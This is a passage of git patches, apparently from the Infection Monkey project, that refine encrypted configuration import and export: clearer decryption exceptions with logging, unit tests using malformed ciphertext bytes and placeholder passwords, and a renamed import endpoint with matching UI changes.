encrypted_config = encrypt_config(plaintext_config, PASSWORD) # str of the form: `b'a1b2c3'` - encrypted_config = encrypted_config[2:-1] # so we slice it here + encrypted_config = encrypt_config(plaintext_config, PASSWORD) + encrypted_config = encrypted_config assert decrypt_config(encrypted_config, PASSWORD) == plaintext_config From 9fcfaac781ff7e1eb9a6f03fee4ddb9484120e3d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 2 Jun 2021 12:04:33 +0300 Subject: [PATCH 0630/1360] Improved exceptions thrown in configuration decryption and unit tests. --- .../cc/services/utils/config_encryption.py | 24 +- .../utils/cyphertexts_for_encryption_test.py | 206 ++++++++++++++++++ .../services/utils/test_config_encryption.py | 25 ++- vulture_allowlist.py | 1 + 4 files changed, 248 insertions(+), 8 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 9a3783a47d3..086ad00a6fc 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -1,14 +1,17 @@ import base64 import io import json -from typing import Dict +import logging +from typing import Dict, Union import pyAesCrypt -from common.utils.exceptions import FailedDecryption, NoCredentialsError +from common.utils.exceptions import InvalidCredentialsError, NoCredentialsError BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef +logger = logging.getLogger(__name__) + def encrypt_config(config: Dict, password: str) -> str: plaintext_config_stream = io.BytesIO(json.dumps(config).encode()) @@ -19,15 +22,20 @@ def encrypt_config(config: Dict, password: str) -> str: ) ciphertext_b64 = base64.b64encode(ciphertext_config_stream.getvalue()) + logger.info("Configuration encrypted.") return ciphertext_b64.decode() -def decrypt_config(cyphertext: str, password: str) -> Dict: +def decrypt_config(cyphertext: Union[str, dict], password: str) -> Dict: if not password: raise NoCredentialsError - cyphertext = base64.b64decode(cyphertext) + try: + cyphertext = base64.b64decode(cyphertext) + except TypeError: + logger.info("Configuration doesn't require decryption.") + return cyphertext ciphertext_config_stream = io.BytesIO(cyphertext) dec_plaintext_config_stream = io.BytesIO() @@ -43,7 +51,11 @@ def decrypt_config(cyphertext: str, password: str) -> Dict: len_ciphertext_config_stream, ) except ValueError as ex: - raise FailedDecryption(str(ex)) - + if str(ex).startswith("Wrong password"): + logger.info("Wrong password for configuration provided.") + raise InvalidCredentialsError + else: + logger.info("Configuration is corrupted.") + raise ex plaintext_config = json.loads(dec_plaintext_config_stream.getvalue().decode("utf-8")) return plaintext_config diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py new file mode 100644 index 00000000000..532d152bb8e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py @@ -0,0 +1,206 @@ +MALFORMED_CYPHER_TEXT_TOO_SHORT = ( + b"AES\x02\x00\x00\x1bCREATED_BY\x00pyAesCrypt " + b"6.0.0\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +) + +MALFORMED_CYPHER_TEXT_CORRUPTED = ( + b"AES\x02\x00\x00\x1bCREATED_BY\x00pyAesCrypt " + b"6.0.0\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\xc2\xc3w0\xe5\x06\xd2\xb9\x05b\xce\xb2\xc7" + b"\x18f\x87j|y\xcd\xbd\\(" + b"V\xfa!%\xcc@\x11\x98>\x9c^\x11\xa1\x82\xe9@\x89\xde\xe9\xb2)h\xb2" + b"`\x07y\x01\xa8zr\xd0\xe2\xb9m\xb1&\xb5f\x95\x80\x98\xac\xa6\x04.8" + b"\xf0\xbf\xee\x18!\xf5T\x04a\xb5\xb2Q\xb0|\xff\xe7\xdd)F\xd5E\xa6" + b"\xbf\xf6\xb0D\x02\x92\xb9Z\x01 " + b"F\x9f.9\x92zc\x9bI\xaf\rB6\xcb\r\x1b\xbf\xb8m\xbdBBt5\x9d\xc9\xeb" + b"\x9b\xe0u\xe8'H5\x96\x11\xbf>\xa7\xaa\xb4\x06\x1e\xb7\x99\xf1\x86" + b"\xd1\x81\x8e.\xf5\xdf\xc7Z\x18\xc5\xe9\xfc\\\x135B\xd6!-\x0c\xad" + b"\xc4!\xa5-\x02\x19V\x80\xe1\x98\xe3\x9a\xeb\xb5\xb1^\x94/F\x1c" + b"\x92f\x011\x05\x86\xdb\xdaQ\xa7\xff\x15&\x83\xca\x0b\xbf|k\x0em" + b'"\xf4\xb67\xc0\x8f\xe1\xa0s\x1e\xf0\xec\x98\xd0Zk2\xa4\x85v{' + b"P\xaa\x96\xb3\xa4N\xd0," + b"\xf9\xcbiq\xa7IP\xd9\x1d\x8a\x0fW\xf4\x8fnGc\x9e22!\xf24\xa3:\xbd" + b"\x83\x93\xc5Hq\xcc\xc9\xbd\xef\x9b\xa6f!\xd4p\x8c\x9cN\x0f\xc9d" + b"\xf5o\xa6\x1c\xf8\xed\\/r\x8c\x8d\xa9\x85\xe5\x19]J\x02S\x10\xef" + b"\x1ffg\xaf\x1f\x077}\x81\x9d\xe6\xaa\x99k\xec\x19\xe90\xef\x0b\x93" + b"\x0eZ\x96hq\x1be\\_\\d\x1c\xc9\xcb\xd1\x87E?$\x0f\x93\xf9\xa8Z\x10" + b"\xd4)\xb4j\xa4\x16\xaa'\xda\xd0]Fz\xd7\xff\xff9\xe8\xfd\xa0H\xe3" + b"\x814\xc6t[\x0e\x81\xf4\x12N\xbc\xb9(" + b"SU\xd9^%\xaeQc\xc7\xf8\xcayo9\xb3\xef\x194\xa3\xe2\xfcZ\xf6[" + b'\xd4]2\x1a\xe8u\x92\x19*~\x93b\x13\xed"\xd2\xcaV\x05R.&D\xb0m' + b"\x93rb\x15\xe2=\xfb\xb9\xcc+\x0f\x9c\x1c\xff\xe4\x18a\x85\xe4\xd0s" + b"\xed\xc3H\x88\x07P\xbed\x0c\xf7\x97j\x1d\xf2'\xce&\xbe1A\xca\x0e" + b"\xb3H\x08\x01\xc5\x87F#\xf6TB\xc5\x9f\\\x9ex\x06\xd3\x85&\xdf\x9a" + b"\\X\x1d\x9bm\xe60\xf3;\x06\xa9o7\x99\xa3:\xce\xbb\xba\xe3\xc4\xe5" + b"\xa9\x01\xfbJ\x11tJ\xd4\xc7\xc7\xf1s=8k\xc29c\x8c\xdfdA\xf76\xdd" + b"\xdd\xf8\x16\xf3\x8d\x96gP\xad\xd4\r1\xd3\x1d@\xbb#o\x98\x13\x9d" + b"'\xb2\xb5\x1dl\xe5\x01\xce\x0f\x80\x7f5\x80\x1dp>\xee_\xc2OK\x95" + b"\xd5\x16E\xea\x82\xf5\xa8\x88A\xa2\x1e\x0c\xc8\x05\x81\xda\xfe\xb6" + b"\xe5\x8f\xd8W\xb4\xbeS\xcd\x130\x0c\xa4\xd9\x1d\xf6\x96\xa3\xee" + b"\xb30\xbd " + b"\t\\\xd6\xa1\x8b\x85\x16\xf6dJ4\xd7\x85\x96|3\xae\xab\xb7>\xf8\xf9" + b"\xf7h\x8f\xcc\x9b=B]G\xd5L3g\xbd%\x84\xbe\xf4\x8a\x07\xb3\x863" + b"\xc2uz\x84-\xe436\x14\xbd\xda\xc74.\xdan\x8e\x04VJq\xcdo\x8a\x05" + b"\xe6\xec\x84\xdc\xa9\x84\xb3\xa5T\xa7M\x05\xfc\xc3\x04\xd6p\xb0y" + b"\x83\xc2\xc7i\x9at.\x1dh\x99\xfe}(\x98\xa7){" + b"\xa9\xa6\xa63\xcc'0A\xd9Q\x99-\xd0$)\xbda\xa0\xbf#\x9e\x19\xe5" + b"\xb7q\x89\xda\xbaj\x1b\xe3\x8aW\xb6\xd0\xc5\x819\xfa\x8d\x9a\x14" + b"\xaf\xb1\x08\x97>*\x7f(" + b"\x9c\xd3\x99o3\xbew'/\x14\x9e\x9f#_\xaaDgg\xa6\xc7\xa6}8J\x14\xa8" + b"\xcb\xbf\xdeQ," + b"zHze\xbfe\xdfr|\xbd\x9dd\xfb\xccq\x18\x9dw\x01\xe5JY\x1b\xca\x12" + b"\xaed]\xadi\x7f\x0c`6\xb6X\xbe0\x83b\xc6\xc5>\x1e\xab\xfa\xb7\x0c" + b"\x08\xf6\xa9\xed\x14\xc9(\xf1m\xc6\x90w\xe9\x85\x9d{" + b"\xba\x93x\x00\xf7\x8d\x0f\xa2\xef\xc5\xfexp\xb2\xa9\xf4\xbb\x80" + b"\x13\x8e2bm\xf0U2\x1a\xa7\xa4PK\x11\xc7\xab3\n\xe5(" + b"y\x05\x1a\x07\x0e\x8cO\xee\xc9\x83\x84L\xae\x19\xc1\xab\xbf\xc9" + b'\xae\x8a\xe3\xbb\x19c\x0f0\xa9\xe8\x1e\xfe\xcb\xa3T"p\r\xe8b}Y\x86' + b"\xc0s\x9d\x1bc\xd6\xec\xab6\xd5\xcf\xfaw\x7f\xa8K\xe4Z4Sj\xe8\xda" + b"`\xe9\x8e\xf0M\xee5G\xc6\xb6\xef\x97\r&C\xa60\xcc\xf4\xb8\xd0a\x16" + b"!\xda=\xd4\xb4\x84\xc6\x99\xf4\x9c[" + b"\xda'R\x80\xf1\xa2m\xe0\x14\x1b\xe2\xee\xd6\x81\xf2\x19\xe6\x9aC" + b"\xac6\xb8\xe9\x89\xe9\xb4UM\x027\xc4(" + b"\n\xe3\x8a\x85a\xad7~\xa71\xd1w065a\x87T\xbc\x89v\xca\xe4\x80\x9f" + b"\xe1\x10p\x1c\x14\xc2\x0c-\xd4q\x0e'\xcf[" + b"\xe0\x163Jj\xd1\x03u%B:\xda\xc9\x08*\xf1\x1d,\x80,," + b"I\xcc\x8c\xe9\xb8U{" + b"\xcb\xde\x8b\x1dB\xd9\xa1\xf1\xcfY\x14\x16\x86\xd9\xe4\x8d\xc0\xc5" + b'<^\xce"\n\xdd\xdf\x1cb\xf1M\xb8\x10$\xcf\x04\x1bU*\xe9\x19\x8c\xf7' + b"\xff\xfdl\xaf\x92\x11\xdb{" + b"\x1c\\\r" + b"\x90\x0fva," + b"\xcc\x18j\xab\"4'\xd3\xcfo|yE\xb8\xa1\xc0\x927\xa7\x1dh\xba\xab" + b"|\x8b\xeb\xf2G\xcc\xd2a2al\xa55\xb6\xd5\xc5\xc1\xa6q\t\xca\xf4\xdc" + b"\x9b\x00\x9b\xe2\xa3\xd7\xd4\x19\x88\x05\xb2\x0e\xc8\xf3\x0b>\x18" + b"\xcfd\x05m\x85\nB*\xa2$\xf6I'\xe4\xa2_w1*\xe2z4#\n\xcf\xd9J\xa3" + b'\xf9q\xc4\xc1"\xf9\xbd\xb3J,' + b"J\xd4v+U\x8c\xafG\x86\xae\xce/w\xee\x94x\xb1h7z\xbd\x02\x12\xc6" + b"\x16\xcb\x14\x80(\xab\xfb\x16{" + b"\xb2\xd1\xe9\xd9\xd7\xd9\x9bq`\xdfRB5\x04t\x8d\nq\x1a\r@k\xec\x04" + b"\xb2\x8c\x00\x00\xe4\x86;\xae\xbe\x9b\x0ccp\xdd\xb8~\xb6\x9b1\xf1" + b"'\x12\x99\xab\xcah\xd1i\xa9r\x18\xfc\x93" + b"\x86W{{\x92\xa9(" + b'\xee"C\xa3uG\xc3s\xb8\xc6\xb7\xb9\x17\xf3\xe3n;\x16\x08\x9e,' + b"\xbd\x0f\xbe.\xd9\xc3F\xa0\xfe\x84\x1f\x8a\x97\xc9T\xea\x08_\xc5I" + b"\xf9v\tI\xf0\x0e\xbex\xd9\x9f\xe7Z\xd6\x1a]\xc1\xbb\x97 " + b"\x8a\x8f\x00\x1f\x92.\xc1WC\xd8\xe3\x86\x98PV\xfbWV\xbd\xdf\xd5" + b">1yo\xf1\xabV\xb2\xdf\x97\x82$0\xc8#\xbe\xbb\xe1\xed\x08\x8c@7\xab" + b"~\xdf\x8c\xf9\xbb\x9e\xc6\xa0Q\x85}\xe7\x00|\xe7'\x00{" + b"\xd9v1\xd5\x8a-C," + b"\xa7S\xfc\xc3\x83\xef\xadV\x1b\n\x1b\xb3\x0bK\xa0\xc6\x02i\xf6\x80" + b"\x06F>\x01\x01\xef\xe3\x19\xbf\xb1\xe0S~9\x88\xc5\x9a{" + b"K\x9e8rFp\xa3\xcclX," + b"\xe5\xf1o\x90\xa3\x13\x9c\xf0\xcd\xf3l@\xb60\xde\x19\xcen\x19\x80w" + b"\x0b\xfd\xa8\xafuP\xef-/\x92*\xdd\x93\xdc=9\x90\x0f-\xc4wxa\xc1" + b"\xb7SSe\x0fY\xc3!\xee\x16\xdc\xf8\x93\x03<\x1d?\xec\xce\xcf\xd5" + b"|)\xabu;Y!\xd6M\xcc\xbd\xcc\xec\xa6J\xb7\xbci\x91)\x14h\xec\xc3R" + b"\xb6/\xfcA\xab\x9f\xb8.W\x92\xc4\x8b\xa3D\x91\x8a\xb1\xbc\tJ\xd5" + b"\xb98\xe6c\xcc\xa6'\xb7NK\xf8\xdal\xabd\xc4\xde\xea\xd4~\t\xd9" + b"\xd3\x7f\xb8\xe1J\x8e\xf9X\xe4\xcd\x04\xa0\xc0vp\xe9\xe7\x8e\xd0[" + b"m\xe2\x8dY\x8c\xcd\x81Ny\xac\xbb`\x10ky\x1c\xe3\x9a\x1b\x88G\x1d" + b"\xdc\xc8\xa6\xf7\x1f\xbf\x87\xe9\xac\xfc5/\x8c\xf7k\x85\xb8\xc7d" + b"\x11\xe2\xd8T\x0c\x1a\x85\xc5\x93-\xfe\x85\x87\x03\xb4\x97\x97" + b"~\xb5\xcf|\x05\xf4SE1\xddf?\xae\xe5\xfd\x8c\xf0qu\x92sPz`\xa2\xb6" + b")\xa1\x08A\x18\xb0>\xc4\t\x17|\xac\xccH\x7f\x85\xd2zCK\xf7\xf5" + b'\x12{\x7f_\xc2"\xd6XQ>\x12W1\x06\xbe\xa1\x0f\xf0K\xd9\xaa\x1a\x90' + b"\xee\x90U\xf0\xec$\x1a\xc4\xe07\x92\x1f\xc4\xb5g\xebz\x900\x04\xb6" + b"\xec\xdd\x19iG\xfc=\xef\x0f\xaap\xb4h\xda\xcak\xf9\xc2\xdf%]\xad" + b"\xf5|\x19\xd2\xe46\xb6\x11k#\xf6\xa7t\xc1\xf4\x13B\x08\xeej\xe89" + b"\xbe\xfc\xbds\x19\xcf\xe5'\x84P\xf5\xd5\x88\x18\x1d`k\t%\xb9{" + b'\xa1\xec&\x9f\xee$R"\x81(\xe25V8m\x84\xa3Qb=CZ\x1d\xc6\xc7{' + b'\xc9"\xfcSW\xdb\xce\xd5\x0f%\xff\x85\xbb\xcbS\x83+\x9aA\x1e\xe6uf' + b"\xf9\xa8K\xc3(\xaa/\xe8[" + b"\xa9U|M\x0f\xdb\xea\\\xf5\x06\xbeK\xb67>~\x8a-\x8b\x08\xbc\rV\xbe" + b"\xa4=+|\xc6\xc1A\x02Jv\x8e\x99\x89E\xae\xe8\xac1\xb7a\xd9\xdeN" + b"\x934\xae\r\x91\xe3\x05M\x04\xb0\xb0-S\xdf\xe3A\x99h\x7fJ\xbf\xcfl" + b"\r(s4sj\xe0\x8eD\xc2\xb4\xa3\xb6\x8a\x9f\x0f," + b"\xbeU\xf3\xa0h\xb4\x9b\xf9O\xf20\xdc2\xcf\xd9(" + b">n'dc\xd9\xce3!z_\x16\xe6\xac\x8cg\x80][" + b"n\xe8\xf6\xdb\x92FJ\x19\xd0\xb5\xc4LM\xfb\xaa&\xd9\xfb1\x11l\xb1" + b'\x82\xc0\xe0\xf7\x91\xf8c"\xac\xe0\x11\xcd\x11\xd7\xa5\x82M\xf9' + b"\x13V\x8b\n\xde7\x87\xbd\xb6\xe4\\z\x15#\xbb\xec\xe3\xe9c{" + b"\xd5\xa3\x98\xf5\x0f)\x86W\xf1H\x92DU|I\x0f\x83I\xa9\xe4\x1c\x7f" + b"&>\x84\x08>S+H\xf5\xbc\x1c\xfd8\xb8\x19\xda\x08\xb4\x9a\xf9\xc9" + b"\x16\x0f\xda\x10\x07\xbd\xb7\x14\x92`\\\xbd=\xe2\xec^\xca\x14Q\x9a" + b"\xc4\xdd\xcf\xf8{" + b"D\x03\xb3\xb0\xf9\x8c7\x19\xf1\xe2\x07I\xa8/\xc6\x9b\r\x1f\xb87" + b"\xe8\x99\xff\xaf\xd7\xe2\x91\xbb\x88\xc2\xaem|\xeb0T}\x83\x80\xe9" + b"*D\xb1\xe4\xa5p\xa14\xda\x9d\xeaR\x9f\x0c\xe0\xc5\xb6b\x82\xff\x80" + b"\x86J\xa0\xa6Eg\xd3b\x99X\xc3\xb98\xa2\x18\xb8\xe6\xc3\x01T\x8d" + b"\xf2b\\\xa5\xa2\xc5\x89\x85\x9c\x1a\r.\xcc\xe1x\x9f\xc3\x10\x7fc" + b"\x00'\x10h\x1f\x82\x1e\xcel\xc1\xe3\xe5Rq\x10\xa2=\xe2\x1f\x93\xff\x04\xd8\xd3\x1eL\x8e8W" + b"\xef!\x8e\xdb\x14\x1c\xa1tz\xee\xca\x89dA\xe1\xa9K\x96/\x96\xc9YS" + b"\xcc\x07vM\xaeCi\xfc\xfdA\x01," + b"\xb0\x06J\xb7\xf5\x84\xf7\x1e\xc6\x05\xc5\tw\x9e\xf4\x0bH~.ah\x04" + b"\xce%\xbdK\xc4\xbbM\x82\x0c\xcd\xf4\x99\x9c\xa5^\x97\xfcj\xbe" + b'"_\x01\xec(' + b"\xd4\xb8\xddmF\xe9S\xaa\x92\xdc\xa4a\xee\x02\x84N\xe6\xb1\xc8\x1b" + b"\xb0\xb6\x90#>\xaeKk:\xf6\xef\x10\xe8\x03q\xac\\\x19\x1f\x17r\xc7" + b"\xdf\xce\x8fC\xd8\xb3C\xf8\x99\xb5\x15\x8a\x9b\xdc\xc0\xd1U\xa7.B" + b"\x9c\xb3\xe0G\x90Qf|\x9d\x97v\xfbD\x95B\xf3\xa1\xa6=\x08\xea\xee" + b"\xfd\xa9\xaa:\x80\xeb\x992\xcf\x9ed\x16\xd2\x92\xdaW\xd1\xb4P" + b'\\\x9e\x9d"\xcb\xc3\xf0Q\xeb\x96\x90*\xaf\xe2{' + b"\xf6y\xf6\xc6\x87jM'G\xcb," + b"\x9c\xbb\xcc\xf3\xab\xf4\xd0\xd7\x0c\x98H\n\xbb\xf0\xc2\x16\xe6" + b"\xcd\xd8\xa0\x02@6\xcbg\x1a\xc7\x16\xd4r\x0f\xbb\x04\xad\x1dY\xa0" + b":\x086d\x10V\xd5\x1cbKA\xb0\xbcjd\x9d8\xfc\xbc~\xeb!\xf8\xf0\xf4" + b"\xd2\x06\x9c<\xdcK\xda\xdbi\x1b\xf3\x9d\xdb\x97\xfe\xdfq(" + b"'\xb8\x8b(\x06o\x06\xba\x9a\x1d\xc6U_<9\x820,~\x92Z^\xf1 " + b"\xa0\xa5\xd1\xd4h\xae\x90u\xf5\xe8\x87&\xe9\x94\xec\xa9\xaa\xc7" + b"\x7fW\xd5\x99\x86\xa3\xf5rWa\x9f\xbb]D(" + b"zF\xa9\x04\xa2PZ\\\xe5\xff\xac\xa0\x93xV\x93\x9d\x0e\xe8?\x9d\xa1w" + b":m~\x92a\x98I\xdf\xe8\xf3\xae\xed\xf5\xfd(" + b"rj\xb2\x86\n7@\xe6=\xed\x1b\x91\xe3No\xdf:c\\_\xb4z\xdej\x98\xf4G" + b"\xaeES)\xcb\xbeu\xb7\xec\x00t1W(" + b"J\x85L\xa7\xf8B\x14\xc4w\x99\xbe~\xef\xabp\xf3\x02\xbf!\xd4\xca" + b"\xc1U\x13\xf2\xc0k&\xb3V\xc1Bu:\x1f\x910k&*\x84\\r\x1f0\xdc\xd8" + b"\x05Kg\xc1e\x125[" + b"q\x9b\xe9;Hb\x19S\xfcP\xb3\xa7\x88\xcb)P\x1c\xe1\x06F\xc3\xeb\x08" + b"\xbd" +) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index 87996756fc1..8f3ba4cbfcd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -2,13 +2,18 @@ import os import pytest +from tests.unit_tests.monkey_island.cc.services.utils.cyphertexts_for_encryption_test import ( + MALFORMED_CYPHER_TEXT_CORRUPTED, + MALFORMED_CYPHER_TEXT_TOO_SHORT, +) +from common.utils.exceptions import InvalidCredentialsError from monkey_island.cc.services.utils.config_encryption import decrypt_config, encrypt_config MONKEY_CONFIGS_DIR_PATH = "monkey_configs" STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" - PASSWORD = "hello123" +INCORRECT_PASSWORD = "goodbye321" @pytest.fixture @@ -22,5 +27,21 @@ def plaintext_config(data_for_tests_dir): def test_encrypt_decrypt_config(plaintext_config): encrypted_config = encrypt_config(plaintext_config, PASSWORD) - encrypted_config = encrypted_config assert decrypt_config(encrypted_config, PASSWORD) == plaintext_config + + +def test_encrypt_decrypt_config__wrong_password(plaintext_config): + encrypted_config = encrypt_config(plaintext_config, PASSWORD) + with pytest.raises(InvalidCredentialsError): + decrypt_config(encrypted_config, INCORRECT_PASSWORD) + + +def test_encrypt_decrypt_config__malformed(): + with pytest.raises(ValueError): + decrypt_config(MALFORMED_CYPHER_TEXT_TOO_SHORT, PASSWORD) + with pytest.raises(ValueError): + decrypt_config(MALFORMED_CYPHER_TEXT_CORRUPTED, PASSWORD) + + +def test_decrypt_config__unencrypted(plaintext_config): + assert plaintext_config == decrypt_config(plaintext_config, PASSWORD) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 5d91f94fd7b..8ee281d6031 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -169,6 +169,7 @@ mock_port_in_env_singleton # monkey\tests\unit_tests\monkey_island\cc\services\test_config.py:26: ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14) MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) +import_status # \monkey_island\cc\resources\configuration_import.py:19 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 51273c4a9dce0c6930cccc0f589d694c58dc0dfc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 2 Jun 2021 12:35:54 +0300 Subject: [PATCH 0631/1360] Removed unused exception --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index a9b4bd550fe..b13b94e3b42 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -64,7 +64,3 @@ class NoCredentialsError(Exception): class InvalidConfigurationError(Exception): """ Raise when configuration is invalid """ - - -class FailedDecryption(Exception): - """ Raise when any kind of decryption fails """ From 624fda10cb0446ade76af2a9a98a5a897835eff7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 2 Jun 2021 12:36:34 +0300 Subject: [PATCH 0632/1360] Renamed configuration import resource endpoint(url) and resource itself. --- monkey/monkey_island/cc/app.py | 8 ++-- ...nfiguration.py => configuration_import.py} | 40 ++++++++----------- .../ImportConfigModal.tsx | 3 +- 3 files changed, 20 insertions(+), 31 deletions(-) rename monkey/monkey_island/cc/resources/{temp_configuration.py => configuration_import.py} (57%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 0642f176889..ecc5feca1d6 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -21,6 +21,7 @@ from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.configuration_export import ConfigurationExport +from monkey_island.cc.resources.configuration_import import ConfigurationImport from monkey_island.cc.resources.edge import Edge from monkey_island.cc.resources.environment import Environment from monkey_island.cc.resources.island_configuration import IslandConfiguration @@ -43,7 +44,6 @@ from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed -from monkey_island.cc.resources.temp_configuration import TempConfiguration from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys @@ -120,9 +120,6 @@ def init_app_url_rules(app): def init_api_resources(api): - # TODO hook up to a proper endpoint - api.add_resource(TempConfiguration, "/api/temp_configuration") - api.add_resource(Root, "/api") api.add_resource(Registration, "/api/registration") api.add_resource(Authenticate, "/api/auth") @@ -136,7 +133,8 @@ def init_api_resources(api): ) api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") - api.add_resource(ConfigurationExport, "/api/configuration/export", "/api/configuration/export/") + api.add_resource(ConfigurationExport, "/api/configuration/export") + api.add_resource(ConfigurationImport, "/api/configuration/import") api.add_resource( MonkeyDownload, "/api/monkey/download", diff --git a/monkey/monkey_island/cc/resources/temp_configuration.py b/monkey/monkey_island/cc/resources/configuration_import.py similarity index 57% rename from monkey/monkey_island/cc/resources/temp_configuration.py rename to monkey/monkey_island/cc/resources/configuration_import.py index d82c8c92d72..9e4731d7ffc 100644 --- a/monkey/monkey_island/cc/resources/temp_configuration.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -1,15 +1,17 @@ import json +import logging from dataclasses import dataclass import flask_restful from flask import request -from common.utils.exceptions import ( # InvalidCredentialsError, - FailedDecryption, +from common.utils.exceptions import ( InvalidConfigurationError, + InvalidCredentialsError, NoCredentialsError, ) from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.utils.config_encryption import decrypt_config @@ -23,8 +25,10 @@ def form_response(self): return self.__dict__, self.status_code -# TODO remove once backend implementation is done -class TempConfiguration(flask_restful.Resource): +logger = logging.getLogger(__name__) + + +class ConfigurationImport(flask_restful.Resource): SUCCESS = False @jwt_required @@ -32,24 +36,17 @@ def post(self): request_contents = json.loads(request.data) try: decrypt_config(request_contents["config"], request_contents["password"]) - self.import_config() + ConfigurationImport.import_config(request_contents["config"]) return ResponseContents().form_response() - # except InvalidCredentialsError: - # return ResponseContents( - # import_status="wrong_password", message="Wrong password supplied", status_code=403 - # ).form_response() - except FailedDecryption as ex: + except InvalidCredentialsError: return ResponseContents( - import_status="decryption_failure", - message="Decryptioon of configuration failed. Error thrown during decryption: " - + f"{str(ex)}", - status_code=403, + import_status="wrong_password", message="Wrong password supplied", status_code=403 ).form_response() except InvalidConfigurationError: return ResponseContents( import_status="invalid_configuration", message="Invalid configuration supplied. " - "Maybe the format is outdated or the file is malformed", + "Maybe the format is outdated or the file is corrupted.", status_code=400, ).form_response() except NoCredentialsError: @@ -60,12 +57,7 @@ def post(self): status_code=403, ).form_response() - # def decrypt(self, password=""): - # if not password: - # raise NoCredentialsError - # if not password == "abc": - # raise InvalidCredentialsError - # return False - - def import_config(self): - return True + @staticmethod + def import_config(config_json): + if not ConfigService.update_config(config_json, should_encrypt=True): + raise InvalidConfigurationError diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 6b950f7c788..6404dc317a4 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -15,8 +15,7 @@ type Props = { const ConfigImportModal = (props: Props) => { - // TODO implement the back end - const configImportEndpoint = '/api/temp_configuration'; + const configImportEndpoint = '/api/configuration/import'; const [uploadStatus, setUploadStatus] = useState(UploadStatuses.clean); const [configContents, setConfigContents] = useState(''); From 8b86e4025962ad0e829aab5ba3ced7461a2a56ff Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 2 Jun 2021 12:57:54 +0300 Subject: [PATCH 0633/1360] Improved configuration export and fixed the bug of modal not closing on export. --- .../configuration-components/ExportConfigModal.tsx | 5 +++-- .../cc/ui/src/components/pages/ConfigurePage.js | 10 ++++------ 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index 0b1df67e21f..3457555c4b0 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -8,7 +8,7 @@ import '../../styles/components/configuration-components/ExportConfigModal.scss' type Props = { show: boolean, - onClick: () => void + onHide: () => void } const ConfigExportModal = (props: Props) => { 